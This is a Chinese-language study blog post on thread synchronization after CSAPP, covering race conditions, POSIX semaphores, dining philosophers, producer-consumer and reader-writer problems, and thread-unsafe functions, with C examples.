线程1执行了.text:0804857B mov eax, ds:cnt之后歇逼了(时间片用完了,发生调度,属于概率事件),保存好线程上下文(包括eax寄存器,保存的eax值为eax=10),然后控制交给线程2

线程2也执行了.text:0804857B mov eax, ds:cnt,之后线程2没有歇逼,又执行完了下面两句话,把三句话说全了,然后歇逼,控制交给线程1

此时cnt=11

线程1恢复了上下文,eax=10,然后执行剩下的两句话

1
2
.text:08048580                 add     eax, 1		;eax=11
.text:08048583 mov ds:cnt, eax ;eax=11->cnt

执行完了之后发现cnt=11

刚才已经等于11了,这一波操作之后还是11,相当于线程1啥也没干,失去一次增加cnt的机会

如果线程1完全执行完了才执行线程2,自然不会有上述错误

发生错误的原因是,两个线程有机会同时访问修改共享变量(一个躺在共享变量上睡觉,另一个修改共享变量)

那么解决方法也是显然的,让共享变量某一时刻只能被一个线程访问.

这种可能被多个线程访问的共享变量叫做"临界区",怎样解决单处理机上的同步错误呢?使用信号量

进程图

刚才发生的同步错误,用进程图描述更加直观

func干的事情可以描述为这么几部分:

1
2
3
4
5
6
7
临界区前	Hi
临界区开始
加载cnt到eax Li
eax+1->eax Ui
eax写回cnt Si
临界区结束
临界区后 Ti

分别编上号,角标i表示线程i

那么一个线程的执行过程可以用数轴表示,正方向表示时间推移

image-20220530230823320

那么两个线程并发执行过程可以用二维坐标系表示,x轴和y轴各表示一个线程的时间轴

image-20220530230930124

其中节点均表示两个线程完成某些步骤之后的状态,线段表示状态转移

在临界区中的状态标记为危险区

image-20220530233515036

危险区的意思是,两个线程同时访问临界区

要状态转移到终点位置并且不能经过危险区,贴着危险区的边走也是可以的

image-20220530234418812

信号量

semaphore

信号量是非负整数值的全局变量,只能由两种特殊操作来处理,P(proberen测试)操作和V(verhogen增加)操作

image-20220531000855604

P和V中的操作都是一条龙,不允许中断

P和V保证信号量是一个非负值,这个性质叫做"信号量不变性"

Posix接口

sem_t

信号量的定义

/bits/semaphore.h

1
2
3
4
5
6
#define __SIZEOF_SEM_T	32
typedef union
{
char __size[__SIZEOF_SEM_T];
long int __align;
} sem_t;

sem_t是一个32字节的字符数组和长整型的联合体

初始化信号量sem_init

semaphore.h

1
2
3
4
/* Initialize semaphore object SEM to VALUE.  If PSHARED then share it
with other processes. */
extern int sem_init (sem_t *__sem, int __pshared, unsigned int __value)
__THROW;

信号量以指针sem_t *__sem传参,

int __pshared总是0,

unsigend int __value表示信号量的初始值(最大值)

PV操作sem_wait&sem_post

1
2
3
4
5
6
7
/* Wait for SEM being posted.

This function is a cancellation point and therefore not marked with
__THROW. */
extern int sem_wait (sem_t *__sem);
/* Post SEM. */
extern int sem_post (sem_t *__sem) __THROW;

其中

sem_wait相当于P操作

sem_post相当于V操作

信号量实现互斥

信号量,互斥锁的区别

每个共享变量与一个信号量s联系起来,当线程访问共享变量时,用sem_wait(&s)sem_post(&s)包裹访问临界区的操作.

如果这样用信号量则s的值要么是0(表示临界区没有被访问)要么是1(表示已经有线程在临界区中睡觉或者执行了)

由于s的值只有两种因此s又叫做"二元信号量binary semaphore"

用于临界区互斥的二元信号量叫做"互斥锁mutex"

信号量还可以统计资源数量

比如某种设备有8个,就用s=8表示该种资源的最大值,这种用法的信号量叫做"计数信号量"

信号量解决同步错误

还是同步错误时的例子,用信号量应该这样修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include <pthread.h>
#include <stdlib.h>
#include <semaphore.h>
#include <stdio.h>

long cnt=0;
sem_t mutex;//声明一个信号量,名字叫做mutex显然作为互斥锁使用

void *func(void *vargp){

long niters=*((long*)vargp);
for(long i=0;i<niters;++i){
sem_wait(&mutex);//进入临界区之前首先访问并修改互斥锁
cnt++;//访问临界区操作
sem_post(&mutex);//离开临界区之后立刻还原互斥锁
}
return NULL;
}

int main(int argc,char **argv){
sem_init(&mutex,0,1);//注册一个最大值为1的信号量即互斥锁

long niters;
pthread_t tid1,tid2;
if(argc!=2){
printf("expect a number as argument\n");
exit(0);
}
niters=atoi(argv[1]);
pthread_create(&tid1,NULL,func,&niters);
pthread_create(&tid2,NULL,func,&niters);
pthread_join(tid1,NULL);
pthread_join(tid2,NULL);
if(cnt!=(2*niters)){
printf("cnt=%ld,What happened?\n",cnt);
}
else{
printf("Nothing happened.\n");
}
return 0;
}

关键步骤

1
2
3
sem_wait(&mutex);//进入临界区之前首先访问并修改互斥锁
cnt++;//访问临界区操作
sem_post(&mutex);//离开临界区之后立刻还原互斥锁

举个例子推导互斥锁的工作原理

假设线程1在访问临界区cnt时睡觉了,此时线程1已经执行过sem_wait(&mutex),这是一个一条龙操作,即保证一旦线程1开始执行sem_wait(&mutex)则线程1对cpu的控制至少要持续到该操作结束.

sem_wait(&mutex)之后,mutex=0,表征当前临界区中已有线程访问.

那么线程2会在sem_wait(&mutex)这一步等待,直到线程1释放互斥锁

在单处理器机器(虚拟机给一个只有一个核的处理器)上的运行结果:

image-20220531005828633

治好了老咳喘

使用信号量(互斥锁)之后的进程图

image-20220531005043807

刚才我们分析过,贴着不安全区的边也是可以的,但是使用信号量解决互斥问题时,贴着不安全区的边也不行.因为临界区中的状态点处互斥锁值为-1,表示两个线程都获得了互斥锁,这意味着

sem_wait(&mutex)可以被两个线程"同时"执行,

这意味着其中一个线程首先执行sem_wait(&mutex)到一半的时候睡觉了,轮到另一个线程执行sem_wait(&mutex)

sem_wait(&mutex)被实现为一个不可中断的一条龙操作

因此不可能出现mutex=-1的情况

经典IPC问题

哲学家就餐问题(还没想明白)

要我说,都饿死才好,thus我就不用考一个67分的马原儿了

说了这么一个事情

五个憨批哲学家在一起吃面条子,圆桌子上只有五根儿筷子.人要吃饭的时候要用两根筷子.人不吃饭的时候要么在胡思乱想,要么在挨饿.

哲学家的三种状态:

1.进食,正在占用左右的筷子

2.思考,进食完毕之后立刻放下筷子,思考,思考状态不需要进食

3.饥饿,思考完毕之后立刻进入饥饿状态,一旦条件允许应立刻进食

哲学家会做的事情:

1.首先思考

2.获得桌面控制权mutex锁,这个控制权某时刻只允许做多由一个人掌控.如果获得不了则在mutex的等待队列挂着.

这里mutex的作用是只允许某时刻桌子上有一个人放下或者拿起筷子

3.获得mutex之后,立刻设置自己为饥饿状态

4.检查左右是否有人在吃饭,如果有则自己不能吃.否则设置自己的状态为进食,并且给

不管有没有吃到饭,检查一次就立刻放开mutex

5.如果第4步

2.然后设置自己为饥饿状态

3.检查左右是否有人进食,如果有则说明自己的筷子不够,保持饥饿状态,放权

怎么安排让吃饭不打架并且让效率最高呢?

假算法

1
2
3
4
5
6
7
8
9
10
11
#define N 5
void philosopher(int i){
while(1){
think();
take_fork(i);//线程不安全的take_fork函数
take_fork((i+1)%N);
eat();
put_fork(i);
put_fork((i+1)%N);
}
}

显然是存在同步问题的,三号线程执行take_fork(3)和二号线程执行take_fork(3)是存在线程同步问题的.有可能被同时执行,这就相当于一根筷子被两个人拿着

改进

方便安排期间,整个桌子看成一个大临界区,某一时刻只允许一个哲学家进食.用一个互斥锁mutex就可以实现

1
2
3
4
5
6
7
8
9
10
11
sem_t mutex;

void* philosopher(void*para){
int i=*(int*)para;
while(1){
think();
sem_wait(&mutex);//桌子上锁
eat();
sem_post(&mutex);//桌子下锁
}
}

可是这时候桌子上无根筷子的拜访就没有意义了,反正只允许一个哲学家进食,他想用哪根就用哪根

这样可以保证不打架,但是实际上5根筷子最多允许同一时刻两个哲学家进食,因此这种方法的并行性并不好

生产者消费者问题

生产者线程和消费者线程共享一个n个槽的有限缓冲区,生产者反复产生新的项目并将其插入缓冲区中.

消费者不断从缓冲区按照FIFO规则取出这些项目,然后消费之

image-20220531080219711

缓冲区用一个大小为nint型队列表示,每个int表示一个空槽

那么可以实现一个队列,push相当于生产者动作,pop是消费者动作.用信号量保证互斥问题

缓冲区数据结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#ifndef QUEUE
#define QUEUE
#include <semaphore.h>

typedef struct{
int *buf;
int n;
int front;
int rear;
}Queue; //普通队列,不同步
void queue_init(Queue*,int);//初始化一个队列
void queue_destroy(Queue*);
int empty(Queue*);
int full(Queue*);
void push(Queue*,int);
int pop(Queue*);
int length(Queue*);

typedef struct{
Queue queue;//临界区
sem_t mutex;//临界区互斥锁
sem_t cnt_used;//已使用槽数
sem_t cnt_unused;//空槽数
}Safe_Queue;//同步队列,封装了一个成员对象Queue queue

void safe_init(Safe_Queue*,int);
void safe_destory(Safe_Queue*);
int safe_empty(Safe_Queue*);
int safe_full(Safe_Queue*);
void safe_push(Safe_Queue*,int x);
int safe_pop(Safe_Queue*);
int safe_length(Safe_Queue*);
#endif

函数实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#include <semaphore.h>
#include <stdlib.h>
#include "queue.h"

// typedef struct{
// int *buf;
// int n;
// int front;
// int rear;
// }Queue;
void queue_init(Queue* this,int n){
this->n=n+1;//实际上要多开一个槽,因为front==rear的时候表示缓冲区空
this->buf=(int*)malloc(sizeof(int)*(n+1));
this->front=this->rear=0;
}
void queue_destroy(Queue* this){
free(this->buf);
}
int empty(Queue* this){
return this->front==this->rear;
}
int full(Queue* this){
return (this->rear+1)%this->n==this->front;
}
void push(Queue* this,int x){
this->buf[(++this->rear)%(this->n)]=x;
}
int pop(Queue* this){
int x=this->buf[(++this->front)%(this->n)];
return x;
}
int length(Queue* this){
return (this->rear+this->n-this->front)%this->n;
}

// typedef struct{
// Queue queue;
// sem_t mutex;//临界区互斥锁
// sem_t cnt_used;//已使用槽数
// sem_t cnt_unused;//空槽数
// }Safe_Queue;

void safe_init(Safe_Queue* this,int n){
queue_init(&this->queue,n);
sem_init(&this->mutex,0,1);
sem_init(&this->cnt_unused,0,n);
sem_init(&this->cnt_used,0,0);
}
void safe_destory(Safe_Queue* this){
sem_wait(&this->mutex);
queue_destroy(&this->queue);
sem_post(&this->mutex);
}
int safe_empty(Safe_Queue* this){
int status;
sem_wait(&this->mutex);
status=empty(&this->queue);
sem_post(&this->mutex);
return status;
}
int safe_full(Safe_Queue* this){
int status;
sem_wait(&this->mutex);
status=full(&this->queue);
sem_post(&this->mutex);
return status;
}

void safe_push(Safe_Queue* this,int x){//生产者向队列中push元素
sem_wait(&this->cnt_unused);
sem_wait(&this->mutex);
push(&this->queue,x);
sem_post(&this->mutex);
sem_post(&this->cnt_used);
}
int safe_pop(Safe_Queue* this){//消费者从队列中pop元素
int x;
sem_wait(&this->cnt_used);
sem_wait(&this->mutex);
x=pop(&this->queue);
sem_post(&this->mutex);
sem_post(&this->cnt_unused);
return x;
}
int safe_length(Safe_Queue* this){
int l;
sem_wait(&this->mutex);
l=length(&this->queue);
sem_post(&this->mutex);
return l;
}

测试非同步队列

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdio.h>
#include <pthread.h>
#include <stdlib.h>
#include <semaphore.h>
#include "queue.h"
Queue queue;
int cnt_push=0;
sem_t mutex;
void *func(){
while(!full(&queue)){
push(&queue,1);
sem_wait(&mutex);//此句话需要保证互斥打印
printf("in thread %ld,queue length=%d\n",pthread_self(),length(&queue));
sem_post(&mutex);
}
}
int main(){
sem_init(&mutex,0,1);
queue_init(&queue,100);
pthread_t tid1,tid2;
pthread_create(&tid1,NULL,func,NULL);
pthread_create(&tid2,NULL,func,NULL);
pthread_join(tid1,NULL);
pthread_join(tid2,NULL);
queue_destroy(&queue);

return 0;
}
image-20220531093702627

如果queue是线程同步的,一定不会出现两个相同的length

出现这种情况的原因是

1
2
3
void push(Queue* this,int x){
this->buf[(++this->rear)%(this->n)]=x;
}

length=90时

线程1取得this->rear并放到寄存器之后并没有立刻自增写回,而是在此时睡觉,

导致线程2也取得和线程1相同的this->rear放到寄存器,

线程2将寄存器中的this->rear快照自增后写回到临界区buf中,此时length=91,线程2打印91

线程1醒了,其睡觉前保存的线程上下文中this->rear是一开始的状态,线程1也将寄存器中的this->rear快照自增然后写回临界区buf,此时length=91,线程1打印91

这时两个线程对寄存器中this->rear的快照自增然后写回,实际上写到了buf的同一位置,并且导致this->rear只增加了1

测试同步队列

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdio.h>
#include <pthread.h>
#include <stdlib.h>
#include "queue.h"
Safe_Queue safe_queue;
int cnt_push=0;
sem_t mutex;
void *safe_func(){
while(!safe_full(&safe_queue)){
safe_push(&safe_queue,1);
sem_wait(&mutex);
printf("in thread %ld,safe_queue length=%d\n",pthread_self(),safe_length(&safe_queue));
sem_post(&mutex);
}

}
int main(){
sem_init(&mutex,0,1);
safe_init(&safe_queue,100);
pthread_t tid1,tid2;
pthread_create(&tid1,NULL,safe_func,NULL);
pthread_create(&tid2,NULL,safe_func,NULL);
pthread_join(tid1,NULL);
pthread_join(tid2,NULL);
safe_destory(&safe_queue);

return 0;
}

用同步队列就不会有刚才的错误

多个信号量?

Safe_Queuepush函数的实现中用到了多个信号量

1
2
3
4
5
6
7
void safe_push(Safe_Queue* this,int x){
sem_wait(&this->cnt_unused);
sem_wait(&this->mutex);
push(&this->queue,x);
sem_post(&this->mutex);
sem_post(&this->cnt_used);
}

为什么不能直接写成

1
2
3
4
5
void safe_push(Safe_Queue* this,int x){
sem_wait(&this->mutex);
push(&this->queue,x);
sem_post(&this->mutex);
}

这样只考虑了临界区有没有线程在访问,没有考虑临界区还有没有空槽,如果临界区都写满了,即使没有线程在临界区中,也不应该继续写入

那为啥记录空槽数要用信号量?用一个普通的整数变量不可以吗?

1
2
3
4
5
6
7
8
void safe_push(Safe_Queue* this,int x){
while(!cnt_unused);
--cnt_unused;
sem_wait(&this->mutex);
push(&this->queue,x);
sem_post(&this->mutex);
++cnt_used;
}

假设cnt_unused=1,

此时while(!cnt_unused);完全有可能被两个线程同时判定失效,跳过循环,执行--cnt_unused;,导致cnt_unused=0或者-1

显然空槽数量为一个非负数,这是不合法的

因此要限制某时刻最多只有一个线程访问cnt_unused,因此用信号量实现

读者写者问题

同一个文件(或者说共享变量,临界区)被两种性质的线程访问:

只读线程:该种线程只是读取共享变量,不做修改

读写线程:该种线程会修改共享变量

显然共享变量允许被多个线程观摩但是只能允许同一时刻被一个线程修改.在被修改的时候不允许被其他任何读或者写的线程访问.

还要考虑一个读和写优先级的问题

如果读优先

如果当前有只读线程正在访问临界区,则后来的只读线程无需等待,直接进入临界区

如果当前有只读线程正在访问临界区,则后来的读写线程需要等待所有的只读线程读取完毕,临界区没有任何线程时才能进入临界区.即使在等待前面的只读线程时被后面的只读线程插队并被迫增加等待时间也没办法

如果当前有读写线程正在访问临界区,则当其读写完毕之后,首先允许只读线程进入临界区,如果没有只读线程才会允许读写线程进入临界区

如果写优先

如果当前有只读线程正在访问临界区,当其读完毕后首先允许读写线程进入临界区,如果没有读写线程在排队才会允许只读线程进入临界区

如果当前读写线程正在访问临界区,当其写完毕退出临界区后,立即允许下一个读写线程进入临界区,如果没有读写线程在排队,才会允许读线程进入临界区

读优先

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#include <semaphore.h>
#include <pthread.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int my_time=100;
char buffer[100]="the buffer at first";//全局数组作为临界区
sem_t mutex;
sem_t w;
int cnt_reader=0;//记录临界区中的读者数量
//由于临界区中至多有一个写者,因此不需要记录写者数量
void do_read(){
printf("%s\n",buffer);
}
void do_write(char *s){
strcpy(buffer,s);
}

void *reader(void*){
int read_time=my_time;
while(--read_time){
sem_wait(&mutex);//此处上锁的作用是,要修改cnt_reader的值和作家的锁
++cnt_reader;
if(cnt_reader==1){//第一位进入临界区的读者
sem_wait(&w);//给作家上锁,不让作家进来胡扯
}
sem_post(&mutex);//mutex的作用更像是一个闸机,限制一人一杆
do_read();
//走的时候也是闸机限流,一人一杆
sem_wait(&mutex);
--cnt_reader;
if(cnt_reader==0){
sem_post(&w);
}
sem_post(&mutex);
}
return NULL;
}


void* writer(void*){
int write_time=my_time;
while(--write_time){
sem_wait(&w);
char temp[100];
sprintf(temp,"buffer that modified by writer thread %ld",pthread_self());
do_write(temp);
sem_post(&w);
}
}


int main(int argc,char **argv){
my_time=atoi(argv[1]);//使用命令行参数决定循环次数上限,防止程序一直运行
sem_init(&mutex,0,1);
sem_init(&w,0,1);
cnt_reader=0;
pthread_t rtid[5];
pthread_t wtid[5];
for(int i=0;i<5;++i){
pthread_create(&rtid[i],NULL,reader,NULL);
pthread_create(&wtid[i],NULL,writer,NULL);
}
for(int i=0;i<5;++i){
pthread_join(rtid[i],NULL);
pthread_join(wtid[i],NULL);
}
printf("main exit");
return 0;
}
作家
1
2
3
4
5
sem_wait(&w);
char temp[100];
sprintf(temp,"buffer that modified by writer thread %ld",pthread_self());
do_write(temp);
sem_post(&w);

w是一个针对作家的互斥锁,不光读者用w来排挤作家,作家也用w排挤作家

当w为0的时候作家打死也不允许进入临界区.

读者和作家都有权力修改w的值,

作家修改w避免其他作家进入临界区这个好理解,就是防止同一个临界区有两个作家打架

当有一个读者进入临界区时就会修改w为0,此时只允许其他读者进入临界区,不允许作家进入

当最后一个读者退出临界区时才会放开w=1,允许卑微的作家进入临界区

读者
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
sem_wait(&mutex);//此处上锁的作用是,要修改cnt_reader的值和作家的锁
++cnt_reader;
if(cnt_reader==1){//第一位进入临界区的读者
sem_wait(&w);//给作家上锁,不让作家进来胡扯
}
sem_post(&mutex);//mutex的作用更像是一个闸机,限制一人一杆


do_read();//读取临界区


//走的时候也是闸机限流,一人一杆
sem_wait(&mutex);
--cnt_reader;
if(cnt_reader==0){
sem_post(&w);
}
sem_post(&mutex);

读者有两次关于mutex的上锁和开锁,其作用可以举一个例子进行类比

坐地铁时我们要刷卡或者刷二维码过闸机,每次只允许一个人刷卡过闸机,一人一杆,过了闸机就意味着有权力做地铁了,++cnt_reader就相当于把自己放到了地铁上

这里的mutex就起到了闸机的作用,限制读线程一个一个修改cnt_reader,防止两个线程同时修改cnt_reader但是最终cnt_reader只增加了1这种情况.

更直观的,如果不用mutex锁

1
2
3
4
5
6
7
8
9
10
11
12
13
++cnt_reader;
if(cnt_reader==1){//第一位进入临界区的读者
sem_wait(&w);//给作家上锁,不让作家进来胡扯
}

do_read();//读取临界区

//走的时候也是闸机限流,一人一杆
--cnt_reader;
if(cnt_reader==0){
sem_post(&w);
}

线程1将cnt_reader放到寄存器中还没来得及将自增写回到cnt_reader就睡了一觉,线程2读取到的是线程1写回之前的cnt_reader,两个线程读取到了相同的cnt_reader,自增后写回的也是相同的cnt_reader,导致两个线程同时挤进临界区但是读者计数器只增加了1

这种情况下写者可能用数量灌死读者,让读者永远没有读的机会

试想如果只有一个读者线程,成百上千个写者线程,假设读者线程首先进入临界区,此时读者持有w锁,这使得所有写者无能狂怒,均卡在sem_wait(&w);这个位置

然后读者终于出了临界区,释放了w锁,此时在等待w锁的写者1已经成百上千,其中有一个幸运儿被选中获得了w锁进入临界区,这又使得剩下的写者和这一个读者无能狂怒,都卡在sem_wait(&w);这个位置

当写者1写完出了临界区,他释放了w锁,此时w锁的等待队列中有成百上千的写者和一个读者.但是sem_wait(&w);并不知道是读者还是写者在等待w,它会随便挑一个正在等待w的线程分配w锁.

显然一个读者是抢不过成千上万个写者的.

这个可怜的读者只有很小的几率能够进入临界区去读这些作家的著作了

但是只要读者数量多点儿,稍微有点儿规模就没有作家的事了

读者1进入临界区之后给所有读者开了绿色通道,读者鱼贯而入,当首先进入临界区的读者1出了临界区时,还会有读者2守着临界区的大门不让作家进来.

甚至当读者1兜兜转转又站在临界区大门口时,临界区中还有读者n把这门.如此形成一道密不透风的墙,作家永远没有进入临界区的机会

这让我想到保卫萝卜中用冰花阵一直冻住怪物直到刮痧刮死

冰花绽放的一秒相当于读者持有w锁,冰花凋谢相当于读者释放w锁

冰花的cd相当于读者本次出了临界区到下一次进入临界区之前的时间空当

冰花阵无间隙绽放相当于w锁一直被众多读者线程持有,永远轮不到写者持有w锁

写优先

作家
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
void *writer(void*p){
char temp[100];
sprintf(temp,"modified by thread %ld",pthread_self());
int mytime=max_time;
while(--mytime){
sem_wait(&y);//写者闸机
cnt_writer++;//记录过了闸机的写者数量
if(cnt_writer==1){
sem_wait(&rsem);//只要是有一个写者,写者就要控制读者的锁
}
sem_post(&y);//写者闸机
sem_wait(&wsem);//等待临界区清空时(上一个临界区中的线程可能是写者也可能是读者),允许一个写者控制写者锁,进入临界区

my_write(temp);//访问临界区

sem_post(&wsem);//本写者释放写者锁,允许下一个写者进入临界区,但是读者不可以,因为rsem锁尚未被释放
sem_wait(&y);//本写者要再次经过闸机离开了,需要对共享变量cnt_writer保护
cnt_writer--;
if(cnt_writer==0){
sem_post(&rsem);//最后一个写者离开时才放开读者锁rsem,此时读者才被允许进入临界区
}
sem_post(&y);//写者闸机
}
return NULL;
}

一个作家线程要考虑的事情:

1.首先要作家线程一个一个经过闸机,记录已经通过闸机,站在临界区门口的作家数量

1
2
3
4
     sem_wait(&y);//写者闸机
cnt_writer++;//记录过了闸机的写者数量
...
sem_post(&y);//写者闸机

2.第一个站在临界区门口的作家需要给读者使个绊,上读者锁,不允许读者再进入临界区,目前在临界区中的读者就得过且过吧

1
2
3
if(cnt_writer==1){
sem_wait(&rsem);//只要是有一个写者,写者就要控制读者的锁
}

3.本作家写作的时候不允许其他作家打扰

1
2
3
4
5
sem_wait(&wsem);//等待临界区清空时(上一个临界区中的线程可能是写者也可能是读者),允许一个写者控制写者锁,进入临界区

my_write(temp);//访问临界区

sem_post(&wsem);//本写者释放写者锁,允许下一个写者进入临界区,但是读者不可以,因为rsem锁尚未被释放

4.本作家写完了首先允许其他作家继续写作,直到最后一个离开临界区的作家放开读者锁,允许读者进入.作家离开时也要经过闸机严格计数

1
2
3
4
5
6
sem_wait(&y);//本写者要再次经过闸机离开了,需要对共享变量cnt_writer保护
cnt_writer--;
if(cnt_writer==0){
sem_post(&rsem);//最后一个写者离开时才放开读者锁rsem,此时读者才被允许进入临界区
}
sem_post(&y);//写者闸机
读者
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
void *reader(void *p){

int mytime=max_time;
while(--mytime){
sem_wait(&z);//多层闸机
sem_wait(&rsem);
sem_wait(&x);
++cnt_reader;
if(cnt_reader==1){
sem_wait(&wsem);
}
sem_post(&x);
sem_post(&rsem);
sem_post(&z);

printf("in reader thread %ld,",pthread_self());
my_read();

sem_wait(&x);
--cnt_reader;
if(cnt_reader==0){
sem_post(&wsem);
}
sem_post(&x);
}
return NULL;
}

这里

1
2
3
4
5
sem_wait(&z)
sem_wait(&rsem)
...
sem_post(&rsem)
sem_wait(&z)

&rsem信号量被嵌套在&z里面,其目的是什么呢?需要完整分析一遍步骤

1.试想如果已经有写者给读者上了锁,

2.第一个读者会持有z锁并等待rsem锁,在rsem的等待队列上挂着

3.第二个及以后的读者无法获得z锁,都在z的等待队列上挂着

4.当所有写者退出临界区,最后一个写者释放了rsem锁,此时第一个读者终于获得了rsem锁,它执行了下面步骤

1
2
3
4
5
6
sem_wait(&x);//读者闸机
++cnt_reader;
if(cnt_reader==1){
sem_wait(&wsem);//给写者上锁,次锁直到最后一个离开临界区的读者放开wsem锁
}
sem_post(&x);//注意此处释放锁的顺序和刚才加锁的顺序正好相反,FILO

如果在即将执行sem_wait(&wsem)时,如果来一个写者,由于读者1已经持有了rsem锁,因此该写者会卡在sem_wait(&rsem);,写者根本没有可能抢到wsem锁.因此这里担心写者是多余的

5.读者1释放rsem

此时读者1仍然没有释放z锁,因此其他读者依旧进不来.并且wsem锁也没有被放开,写者也进不来

7.读者1释放z锁,从一群读者中挑选了一个幸运儿读者2获得z锁,剩下的读者仍然挂在z的等待队列上

8.读者2持有z锁之后还要经过rsem闸机.

此时读者2可能面临两种情况:

(1)如果在 "读者1获得rsem时到读者2企图持有rsem锁" 期间,有一个写者站在临界区门口,读者1已经释放rsem锁也有可能会分配给写者,该写者会持有rsem锁,导致读者2过不了rsem闸机

诚如是,则读者2只持有z一个锁,不会影响写者.读者1后来也只会用到x锁,因此读者2也不会影响读者1.

实际上此时读者2的状态和读者1一开始的状态相同.

(2)如果期间没有写者到达,或者读者2足够幸运被分配了rsem锁

此时读者2的状态和读者1拿到rsem锁之后的状态相同

此时读者1最慢还在访问临界区,最快已经通过x闸机走人了

(1)如果读者1走人了那么读者2面临的状态和读者1完全相同

(2)读者1刚出临界区,马上要执行下面语句

1
2
3
4
5
6
sem_wait(&x);
--cnt_reader;
if(cnt_reader==0){
sem_post(&wsem);
}
sem_post(&x);

或许读者2和读者1会因为x发生互斥,但是这都是两个读者一个要进闸机一个要出闸机或者两个都出闸机的矛盾,对于其他锁无影响,此时写者最靠近临界区也得挂在sem_wait(&wsem);

只有当读者1和2都离开时,wsem才会释放,写者才会获得锁

到此可以得到z锁的作用:

当有写者持有rsem锁时,z锁保证,rsem等待队列上只允许最多有一个读者,该读者持有z锁导致其他读者无法挂到rsem等待队列上

写者对读者的影响:

当至少有一个写者在排队时,写者就会锁上rsem,让顶多一个读者挂在rsem上,其他读者挂在z上.

该挂在rsem上的读者一定是所有读者中最早进入临界区的.

只有当最后一个写者离开临界区时才会释放rsem锁,此时rsem上的读者获得rsem锁,

此时该读者持有rsem,z,其他读者依然得挂在z上

多线程提高并发性

CSAPP上勉强举了一个例子,什么例子呢?

计算 \[ \sum_{i=1}^n i \] 即正整数前n项和

为了使用并发,这里不用等差数列求和公式

CSAPP上说了这么一个意思,要开四个线程计算的话,每个线程负责计算10个数的和

假设n=40,

线程1就负责计算\(\sum_{i=1}^{10}i\)

线程2就负责计算\(\sum_{i=11}^{20}i\)

以此类推

各个线程的计算结果求和也是有讲究的

大体上有这么三种情况:

1.开一个全局变量global_sum,每个线程的每次循环直接将数加到global_sum

2.开一个全局数组global_sums[4],线程1每次循环将i加到global_sums[0]上,线程1每次循环将i加到global_sums[1]上,以此类推.最终在主线程中循环累加一下global_sums

3.每个线程开一个局部变量local_sum,每次循环将i加到local_sum上,每个线程返回局部变量值交给主线程累加

第一种显然是不可以的,global_sum是一个临界区,不加保护被多线程访问会出现同步错误,解决方法是每个线程每次向global_sum加数的时候都要上锁下锁,但是这个时间代价非常大

第二种可以,但是全局数组是开在虚拟内存中的.data节上的,线程需要频繁地访问内存,时间代价也相对较大

第三种局部变量local_sum可能会优化为寄存器变量,诚如是,则速度会很快.即使local_sum被放在线程栈区,也比去data节访问内存快

CSAPP还给出的建议是,有几个处理器最多就开几个线程.每个处理器分别负责一个线程这时最大效率,如果线程数比处理器多则处理器会有线程调度,线程上下文的切换也会有时间开销

线程安全问题

线程不安全函数

不保护临界区的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdio.h>
#include <pthread.h>
#include <stdlib.h>
#include <semaphore.h>
#define maxn 1000000
int cnt=0;//全局变量作为临界区

void *count(void *para){
for(int i=0;i<maxn;++i){
++cnt;//不保护临界区变量cnt
}
return NULL;
}
int main(){
pthread_t tid1,tid2;
pthread_create(&tid1,NULL,count,NULL);
pthread_create(&tid2,NULL,count,NULL);
pthread_join(tid1,NULL);
pthread_join(tid2,NULL);
printf("cnt=%d",cnt);
return 0;
}

1
2
3
┌──(root㉿Executor)-[/mnt/e/share/mydir]
└─# ./mythread
cnt=1024846

期望的运行结果应该是cnt=2000000,实际上cnt=1024846,即同步错误

保持跨越多个调用状态的函数

啥意思呢?本次函数调用的返回值依赖于先前的结果或者中间结果

比如伪随机数函数rand

image-20220601202115691

本次形成的next_seed会用在下一次伪随机数的生成.

如果两个线程同时获取了本次next_seed,那么可以预见的是,下一次两个线程生成的伪随机数是相同的

解决方法是,每次的随机数种子都有调用者传递,不同线程保存不同的种子.避开使用共享变量

image-20220601205339539

这种不使用共享变量的线程安全函数叫做可重入函数

返回指向静态变量的指针的函数

啥函数会返回静态变量呢?或者说为啥要返回静态变量呢?

首先glibc库中就有这种返回静态变量的函数,比如ctime函数.其存在是有合理性的

image-20220601202455160

一个函数要返回一个字符串,该字符串在内存上应该放在哪里呢?

如果函数这样写:

1
2
3
4
char *getstr() {
char str[] = "dustball";
return str;
}

会报告警告:局部变量str作为返回

为啥会警告呢?str作为函数栈上变量,当函数返回之后,函数栈会被退掉.那么此时str指针指向的是一块没有被分配的内存区域.或者当主函数又调用新函数,新函数的函数栈覆盖掉getstr的函数栈时,此时str指针就指向了新函数的函数栈区.

即指针要么指向NULL,要么指向一个在生存期内的对象.否则就会成为野指针

那么应该怎么写才能保证一个函数下才定义的变量在函数退出后依然存活呢?使用静态变量

1
2
3
4
char *getstr() {
static char str[] = "dustball";
return str;
}

这是因为静态变量会存放在.data或者.bss全局变量区,而不是放在函数栈下

返回静态变量为什么就线程不安全了?比如下面程序mythread.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <pthread.h>
#include <stdio.h>
